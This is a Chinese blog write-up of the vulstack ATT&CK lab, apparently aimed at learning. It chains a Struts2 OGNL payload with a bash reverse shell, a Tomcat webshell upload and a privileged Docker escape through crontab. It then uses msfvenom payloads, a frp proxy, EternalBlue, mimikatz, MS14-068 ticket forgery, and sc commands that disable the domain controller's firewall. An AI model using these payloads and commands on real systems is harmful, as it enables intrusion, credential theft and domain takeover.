前言
出来工作之后,有点热情消退,白天上班,晚上摆烂。想重新找下学习的冲动,装了一个靶场打了,顺便写篇博客吧,重拾热情,这应该也是vulstack的ATT&CK靶场中最简单的一个。
靶场主机介绍
首先要准备两个网卡,分别用主机模式,ip为192.168.157.0/24和192.168.183.0/24系列,192.168.157.0/24模拟外网的IP地址,192.168.183.0/24系列IP模拟内网的IP地址。
- 攻击机 Kali 192.168.157.132
- 外网Web靶机Ubuntu14.04 192.168.157.133,192.168.183.132
- Windows7主机 192.168.183.134
- DC域主机Window Server 192.168.183.130
主要用到的知识点有:TOMCAT任意文件上传,Struts的CVE-2017-5638,以及Docker逃逸,永恒之蓝ms17-010,Kerberos,域用户提权漏洞ms14-068
环境装好后,开启Ubuntu主机,需要通过docker start打开docker容器。
攻击过程
Web渗透
- 首先访问的是2000端口,打开发现是Struts2,通过工具对Struts2进行一系列的漏洞检测,存在Structs2的某个文件上传的漏洞。
出现此漏洞的原因是,内容类型在出错后未转义,然后由 LocalizedTextUtil.findText 函数用于生成错误消息。此函数将解释提供的消息,${…} 中的任何内容都将被视为对象图导航库 (OGNL) 表达式并按此计算。攻击者可以利用这些条件执行 OGNL 表达式,进而执行系统命令。
直接手工进行反弹shell,payload如下:
%{(#nike=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘bash -i >& /dev/tcp/192.168.157.132/4444 0>&1’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功反弹shell
开始检测该端口是否为docker容器,检测的方法一般有以下:
- 通过查看/proc/self/cgroup的内容,一般出现全是docker为docker容器
- 查看是否有docker产生的.dockerenv,dockerpoint等文件
- 查看是否存在/etc/machine-id,一般docker不存在此文件
先查看/proc/self/cgroup,发现确实是docker容器
查看是否是特权模式,cat /proc/self/status |grep Cap,特权模式对应的掩码为0000003fffffffff,并不是特权模式。查看是否存在主机磁盘挂载的情况,发现不存在。
但是Ubuntu14.04的版本中是可能存在脏牛漏洞的,可以通过脏牛漏洞进行docker逃逸,这里是没有尝试。
docker逃逸
- 访问2002端口,发现是一个tomcat容器,直接使用awvs扫一波看看,发现存在Tomcat任意文件上传漏洞
直接生成哥斯拉木马jsp文件,进行上传,并使用哥斯拉连接,继续查看是否能够进行docker逃逸。
同样的方法进行判断,发现也是docker环境。
这里很明显,能够使用特权模式进行逃逸,直接挂载主磁盘,通过写入定时计划的形式使主机反弹shell,完成逃逸。
通过定时任务的形式将Bash反弹shell写入到宿主机的/etc/crontab文件中
监听6666端口,反弹shell成功,查看Ubuntu外网机的IP地址,发现存在183网段。
内网渗透
- 通过wget的形式,直接传入fscan,通过fscan_386进行内网的扫描,发现Windows7主机和Window Server2008均存在MS17-010漏洞。
fscan
- 先通过metasploit生成木马,利用meterpreter控制Ubuntu机器,方便操作,注意这里需要用x86的木马,x64的木马执行不了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.132 LPORT=4444 -f elf >1.elf
-
接收木马反弹的meterpreter,控制了Ubuntu靶机
-
接下来就需要先拿下Windows7靶机,接着使用Windows7靶机拿下域控,为什么不能直接永恒之蓝拿下域控呢,因为域控开了防火墙,直接打,会失败,这里先进行内网穿透的代理,我这里使用frp。
先配置frpc.ini文件,使用socks5代理,填入kali攻击机的ip和接收端口,然后通过wget将frpc.ini和frpc都传入到Ubuntu主机中。
分别执行frps和在Ubuntu主机中执行frpc文件,内网穿透代理成功。
如何判断内网代理是否成功了呢,可以通过curl访问之前docker机的页面,如果能够访问,则代理成功,这里可以看到是代理成功的,注意这里的/etc/proxychains4文件需要配置为socks5 127.0.0.1 6000。
这里frp的主要原理大概就是通过服务端和客户端的形式建立连接,攻击机的流量通过6000端口进行客户端即我们的内网机器,结果会传如攻击机器的7000端口。
- 通过metasploit直接使用ms17-010的脚本拿下Windows7主机,这里花了几个小时,都没打成功,开始以为是代理问题,但是又不是,反正就是一直建立不了shell,最后直接把Windows7主机重启了,一下子就打成功了🔄 😭 😭。
setg proxies socks5:127.0.0.1:6000
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.134
set RHOST 192.168.183.134
exploit
成功拿下Windows7主机
内网域控
-
直接使用meterpreter的mimikatz模块,抓取主机的密码看看,这里msf6之后mimikatz模块融入了kiwi中。
-
能够看到其中一个用户的账号和密码以及域控主机的域名,进入shell,得出域控主机的ip地址为192.168.183.130。
- 发现Windows7主机中自带了mimikatz等工具,再抓取一波密码,看到本机的SID,目前已经得到了满足利用ms14-068的所有条件即域名,sid,地址,域成员密码。
ms14-068是指Kerberos漏洞,攻击者通过构造恶意的Kerberos票据来提升其在网络中的权限。具体来说,攻击者可以伪造一个高度权限的Kerberos服务票据(Ticket-Granting Ticket,TGT),然后使用该票据来获得其他用户的访问权限。
- Windows主机自带了ms14-068的工具,直接使用进行伪造。
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
-
尝试使用域控,使用是成功的,整门提权成功。
-
接下来人傻了,因为还得通过msf写一个木马,传入域控主机,关闭域控主机的防火墙,然后反弹shell,拿下域控主机,但是再开msf的时候,好像不能再setg proxies了,会报错,我日,最后只能尝试远程桌面连接Windows7主机,然后这边再通过msf接收反弹的shell,先开启Windows7主机的3389端口。
-
使用rdesktop命名进行连接,这里不能直接登录,使用douser登录的时候会要求重新验证账户之间的关系。
-
直接通过meterpreter修改administrator的密码,通过administrator登录
-
在Windows主机上执行相同的票据伪造操作,并在msf中生成木马,传入域控中,反弹shell成功。
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.183.130 lport=8888 -f exe -o /var/www/html/bind.exe
upload /var/www/html/bind.exe c:/shell.exe
copy shell.exe \WIN-ENS2VR5TR3N\c$
sc \WIN-ENS2VR5TR3N create unFirewall binpath= “netsh advfirewall set allprofiles state off”
sc \WIN-ENS2VR5TR3N start unFirewall
sc \WIN-ENS2VR5TR3N create Startuu binpath= “C:\shell.exe”
sc \WIN-ENS2VR5TR3N start Startuu
注意要先生成服务,把防火墙给关闭掉,再执行反弹shell,成功拿下域控主机
总结
通过Tomcat任意文件上传拿下shell,特权模式完成docker逃逸控制宿主机,通过frp内网穿透代理,通过MS17-010打下Win7,抓取域内的用户信息,用过MS14-068伪造票据拿下域控。